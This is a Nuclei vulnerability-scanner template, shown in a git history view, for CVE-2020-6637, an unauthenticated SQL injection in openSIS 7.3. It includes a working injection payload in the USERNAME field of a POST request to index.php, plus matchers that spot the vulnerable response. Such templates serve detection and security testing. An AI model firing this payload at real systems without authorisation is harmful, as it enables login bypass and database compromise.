nuclei-templates/cves/2020/CVE-2020-6637.yaml

46 lines
1.2 KiB
YAML
Raw Normal View History

2021-07-27 00:36:48 +00:00
id: CVE-2020-6637
info:
name: OpenSIS v7.3 unauthenticated SQL injection
author: pikpikcu
severity: critical
2021-07-27 00:36:48 +00:00
description: openSIS Community Edition version 7.3 is vulnerable to SQL injection via the USERNAME parameter of index.php.
tags: cve,cve2020,sqli,opensis
reference:
2021-07-27 00:38:49 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-6637
- https://cinzinga.com/CVE-2020-6637/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.80
cve-id: CVE-2020-6637
cwe-id: CWE-89
2021-07-27 00:36:48 +00:00
requests:
2021-08-03 07:54:31 +00:00
- method: POST
2021-07-27 00:36:48 +00:00
path:
- '{{BaseURL}}/account/index.php'
- '{{BaseURL}}/opensis/index.php'
- '{{BaseURL}}/index.php'
headers:
Content-Type: application/x-www-form-urlencoded
body: |
USERNAME=%27%29or%601%60%3D%601%60%3B--+-&PASSWORD=A&language=en&log=
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'SQL STATEMENT:'
- "<TD>UPDATE login_authentication SET FAILED_LOGIN=FAILED_LOGIN+1 WHERE UPPER(USERNAME)=UPPER(NULL)or`1`=`1`;-- -')</TD>"
2021-08-03 13:55:06 +00:00
condition: and
2021-07-27 00:36:48 +00:00
- type: word
part: header
words:
- "text/html"
condition: and
- type: status
status:
- 200